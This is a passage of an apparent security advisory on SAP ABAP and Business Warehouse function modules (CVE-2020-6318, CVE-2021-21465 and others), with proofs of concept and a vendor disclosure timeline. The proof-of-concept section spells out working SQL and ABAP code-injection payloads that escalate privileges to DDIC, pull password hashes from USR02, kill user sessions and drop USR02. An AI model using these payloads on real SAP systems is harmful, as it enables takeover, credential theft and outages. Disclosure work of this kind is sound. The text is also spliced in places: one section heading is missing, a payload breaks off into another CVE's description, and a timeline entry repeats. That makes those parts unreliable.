vulnerabilities ranging\nfrom missing or improper authorization checks to inadequate input\nvalidation and output sanitization. Of particular concern are injection\nvulnerabilities, which can jeopardize the overall system security. \n\nRemote Function Call (RFC) is a proprietary network protocol by SAP SE. \nComparable to application programming interfaces (APIs), SAP systems\ncome with thousands of built-in function modules implemented in ABAP. RFC\nallows remote-enabled functions to be accessed via the network. This makes\nit possible to decentralize business applications even across system\nboundaries. External programs and external clients can make use of RFC\nconnections to interact with an SAP system via libraries (e.g. NW RFC SDK)\nprovisioned by SAP SE. \n\nThis advisory covers multiple critical vulnerabilities discovered in\nthe ABAP\u00ae coding of standard function modules. These are part of different\nsoftware components that build upon the bedrock products SAP\u00ae Application\nServer ABAP and ABAP\u00ae Platform. \n\n1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver\n (ABAP Server) and ABAP Platform\n\n Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4\n of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable\n to ABAP code injection bugs allowing to execute arbitrary ABAP\n code. Successful exploitation leads to full system compromise. \n\n2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP\n and S/4 HANA (DMIS)\n\n Function module CNV_MBT_SEL_STRING_RETURN of function group\n CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to\n embed arbitrary code into the ABAP Repository. An attacker can abuse\n this bug by invoking the function remotely via the RFC protocol. \n Successful exploitation leads to full system compromise. An attacker can abuse this bug by invoking\n the function remotely via the RFC protocol. Successful exploitation\n allows to retrieve internal information and to make a targeted SAP\n system completely unavailable to its intended users. The latter\n is to be considered as a Denial of Service (DoS) attack. \n\n4) [CVE-2021-21468] Missing Authorization Check in SAP Business\n Warehouse (Database Interface)\n\n Function module RSDL_DB_GET_DATA_BWS of function group RSDL does\n not perform any programmatically implemented authorization check. \n An attacker can abuse this bug by invoking the function remotely\n via the RFC protocol. Successful exploitation allows to read out\n the entire database including cross-client data access. \n\n5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP\n Business Warehouse (Database Interface)\n\n Function module RSDL_DB_GET_DATA_BWS of function group RSDL is\n vulnerable to a native SQL injection (ADBC) bug allowing to execute\n arbitrary SQL commands at database level. An attacker can abuse\n this bug by invoking the function remotely via the RFC protocol. \n Successful exploitation leads to full system compromise. \n\n6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business\n Warehouse and SAP BW/4HANA\n\n Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE\n is vulnerable to an ABAP code injection bug allowing to embed\n arbitrary code into the ABAP Repository. An attacker can abuse this\n bug by invoking the function remotely via the RFC protocol. Successful\n exploitation leads to full system compromise. \n\n7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP\n and ABAP Platform\n\n Function module SRM_RFC_SUBMIT_REPORT of function group SRM_REP does not\n enforce proper authorization checks for critical use of a dynamic program\n call. An attacker can abuse this bug by invoking the function remotely\n via the RFC protocol. Successful exploitation allows an attacker to\n execute existing ABAP reports without holding sufficient authorizations. \n\n8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP\n (Reconciliation Framework)\n\n Function module CONVERT_FROM_CHAR_SORT_RFW of function group FG_RFW contains\n a code injection vulnerability with a limited exploitation primitive. An\n attacker can abuse this bug to delete critical system tables (e.g. USR02),\n making the targeted SAP system completely unavailable to its intended users. \n\n\nProof of concept:\n-----------------\n\n1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver\n (ABAP Server) and ABAP Platform\n\n The vulnerable functions make use of the GENERATE SUBROUTINE POOL\n instruction by providing source code that is created dynamically\n using untrusted user input. As there is no input validation or\n output sanitization, an attacker can inject malicious ABAP code\n through specific import parameters. This code gets executed on the\n fly by the application server in the course of execution of the\n functions. \n\n The following payload exploits the bug to escalate privileges via\n reference user assignment:\n\n Import Parameter: I_TABLNM\n Value: USR02\n\n Import Table: I_T_SELECT_FIELDS\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 RSD_FIELDNM \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n Import Table: I_T_WHERE_COND\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 FIELDNM \u2502 OP \u2502 LOW \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502 EQ \u2502 S\u0027ENDEXEC. EXEC SQL.UPDATE USREFUS SET \u2502\n \u2502 \u2502 \u2502 REFUSER = \u0027DDIC\u0027 WHERE BNAME = \u0027ATTACKER \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2567\u2550\u2550\u2550\u2550\u2550\u2550\u2567\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n\n2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP\n and S/4 HANA (DMIS)\n\n The vulnerable function makes use of the INSERT REPORT instruction\n by providing source code that is created dynamically using untrusted\n user input. As there is no input validation or output sanitization,\n an attacker can inject malicious ABAP code through specific import\n parameters. Inserted code may be executed by chaining this bug with\n CVE-2021-21473. \n\n The following payload exploits the bug to escalate privileges via\n reference user assignment:\n\n Import Parameter: TABNAME\n Value: USR02\n\n Import Table: IMT_SELSTRING\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 LINE \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME = \u0027TEST\u0027. ENDSELECT. Depending on a specific import parameter, the function leaks\n active logon sessions (opcode 02) or terminates all active logon\n sessions (opcode 25) by kernel call \u0027ThUsrInfo\u0027. Invoking the function\n periodically prevents users from logging into the application server. \n\n The following payload exploits the bug to trigger the information\n disclosure and enumerate active user sessions:\n\n Import Parameter:\tMODE\n Value: 1\n\n The following payload exploits the bug to terminate all active user\n sessions:\n\n Import Parameter:\tMODE\n Value: 2\n\n\n4) [CVE-2021-21468] Missing Authorization Check in SAP Business\n Warehouse (Database Interface)\n\n The vulnerable function does not perform any explicit authorization\n check. It uses predefined classes and methods from the ABAP Database\n Connectivity (ADBC) framework to execute native SQL queries at database\n level. Depending on specific import parameters, this allows to read out\n arbitrary table data including user master records or secure storages\n (e.g. RSECTAB). \n\n The following payload exploits the bug to exfiltrate user password\n hashes:\n\n Import Table: I_S_TABSEL\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 NAME \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 USR02 \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n Import Table: I_S_DBCON\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 CON_NAME \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 \u003cDatabase Connection String\u003e (e.g. DEFAULT) \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n Import Table: I_T_DBFIELDS\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 NAME \u2502 TYPE \u2502 LENGTH \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502 CHAR255 \u2502 000255 \u2502\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n \u2502 PWDSALTEDHASH \u2502 CHAR255 \u2502 000255 \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n\n5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP\n Business Warehouse (Database Interface)\n\n The vulnerable function does not perform any input validation or\n output sanitization on import parameters that can be used to define\n conditional SQL statements. This allows to inject arbitrary SQL\n commands that get executed natively at database level in the course\n of execution of the function. \n\n The following payload exploits the bug to escalate privileges via\n reference user assignment:\n\n Import Table: I_S_TABSEL\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 NAME \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 USR02 \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n Import Table: I_S_DBCON\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 CON_NAME \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 \u003cDatabase Connection String\u003e (e.g. DEFAULT) \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n Import Table: I_T_DBFIELDS\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 NAME \u2502 TYPE \u2502 LENGTH \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502 CHAR255 \u2502 000255 \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n Import Table: I_T_SELECT\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 FIELDNM \u2502 OPTION \u2502LOW \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502 EQ \u2502\u0027\u0027;UPDATE USREFUS SET REFUSER \u2502\n \u2502 \u2502 \u2502=\u0027DDIC\u0027 WHERE \u00271 \u2502\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n \u2502 \u0027 = \u00271 AND\u0027 AND BNAME\u2502 EQ \u2502\u0027ATTACKER\u0027; \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n\n6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business\n Warehouse and SAP BW/4HANA\n\n The vulnerable function makes use of the INSERT REPORT instruction\n by providing source code that is created dynamically using untrusted\n user input. As there is no input validation or output sanitization,\n an attacker can inject malicious ABAP code through specific import\n parameters. Inserted code may be executed by chaining this bug with\n CVE-2021-21473. \n\n The following payload exploits the bug to escalate privileges via\n reference user assignment:\n\n Import Parameter:\tI_TABLE_NAME\n Value: INJECTION\n\n Import Parameter:\tI_DEBUG_SUFFIX\n Value: SAP\n\n Import Table: I_T_RANGE_STRING\n \u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n \u2502 CHANM \u2502 LOW \u2502 HIGH \u2502\n \u255e\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u256a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2561\n \u2502 BNAME \u2502 \u0027. UPDATE USREFUS SET REFUSER \u2502 \u0027. EXIT. \" \u2502\n \u2502 \u2502 = \u0027DDIC\u0027 WHERE BNAME = \u0027ATTACKER \u2502 \u2502\n \u2558\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2567\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2567\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n\n\n7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP\n and ABAP Platform\n\n The vulnerable function uses a dynamically generated program name (based\n on data from untrusted sources) in a SUBMIT call. No authorization checks\n are programmatically enforced. Thus, a remote, unauthorized attacker can\n leverage this function to start any existing ABAP report by providing the\n respective report name in the import parameter REPORTNAME. \n\n\n8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP\n (Reconciliation Framework)\n\n The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction\n in form \u0027get_dynamic_fields\u0027 by providing source code that is created\n dynamically using untrusted user input. As there is no input validation or\n output sanitization, an attacker can inject malicious ABAP code through specific\n import parameters. These parameters are limited in size due to their variable\n type. This restricts an attacker in exploitation scenarios. However, it is still\n possible, for example, to delete critical system tables by exploiting this bug. \n\n The following payload exploits the bug to drop table USR02, leading to a complete\n loss of availability of the target system:\n\n Import Parameter:\tRTABNAME\n Value: X. EXEC SQL. DROP TABLE USR02-\n\n Import Parameter:\tRFIELDNAME\n Value: ENDEXEC\n\n\nVulnerable / tested versions:\n-----------------------------\nAll tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04\nand ABAP Platform 1909. No additional testing on other releases has been\ncarried out. All identified vulnerabilities have been fixed by now\nby SAP and SEC Consult releases this security advisory adhering to the\nresponsible disclosure policy. \n\n\nCVE-2020-6318\n--------------------------------\n2020-08-12 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2020-08-13 | Vendor confirms receipt and assigns security incident number\n #2080354772. \n2020-08-19 | Vendor confirms vulnerability. \n2020-08-24 | Vendor informs about patch development strategy. \n2020-09-07 | Vendor informs about release of the patch, registration of CVE\n number and corresponding security note. \n2020-09-08 | Vendor releases patch with SAP Security Note 2958563. \n\n\nCVE-2020-26808\n--------------------------------\n2020-09-24 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2020-09-25 | Vendor confirms receipt and assigns security incident number\n #2070354293. \n2020-10-20 | Contacting vendor to request progress information. \n2020-10-21 | Vendor confirms vulnerability and states that a fix is in\n development. \n2020-11-09 | Vendor informs about release of the patch, registration of CVE\n number and corresponding security note. \n2020-11-10 | Vendor releases patch with SAP Security Note 2973735. \n\n\nCVE-2020-26832\n--------------------------------\n2020-10-23 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2020-10-26 | Vendor confirms receipt and assigns security incident number\n #2070432866. \n2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6. \n2020-11-23 | Vendor asks for exploit script shown in the initial report. \n2020-11-24 | Providing the requested script via encrypted PGP mail. \n2020-12-07 | Vendor informs about release of the patch, registration of CVE\n number and corresponding security note. \n2020-12-08 | Vendor releases patch with SAP Security Note 2993132. \n\n\nCVE-2021-21465 / CVE-2021-21468\n--------------------------------\n2020-10-27 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2020-10-29 | Vendor confirms receipt and assigns separated security incident\n numbers #2070446047 and #2070446050. \n2020-11-06 | Vendor confirms vulnerability and predicts patches to be released\n on December Patch Tuesday 2020. \n2020-11-18 | Vendor confirms that they are still on track for December Patch\n Tuesday 2020. \n2020-12-01 | Vendor informs that patch needs to be postponed to January Patch\n Tuesday 2021. \n2021-01-08 | Vendor informs about release of patches and clarifies that a single\n security note will fix both issues. Additional information about\n CVSS scores is provided. \n2021-01-11 | Vendor informs about release of the patches, registration of CVE\n numbers and corresponding security note. \n2021-01-12 | Vendor releases patches with SAP Security Note 2986980. \n\n\nCVE-2021-21466 / CVE-2021-21473\n--------------------------------\n2020-11-25 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2020-11-27 | Vendor confirms receipt and assigns security incident number\n #2080396648. \n2021-01-04 | Vendor confirms vulnerability and states that they are working\n on a fix. Additional information is provided detailing on that\n they will split the reported finding into two separated security\n issues and security incident numbers #2080396648 and #2080412695. \n2021-01-11 | Vendor informs about release of the first patch, registration of CVE\n number and corresponding security note. \n2021-01-11 | Vendor informs about patch release for the first issue. 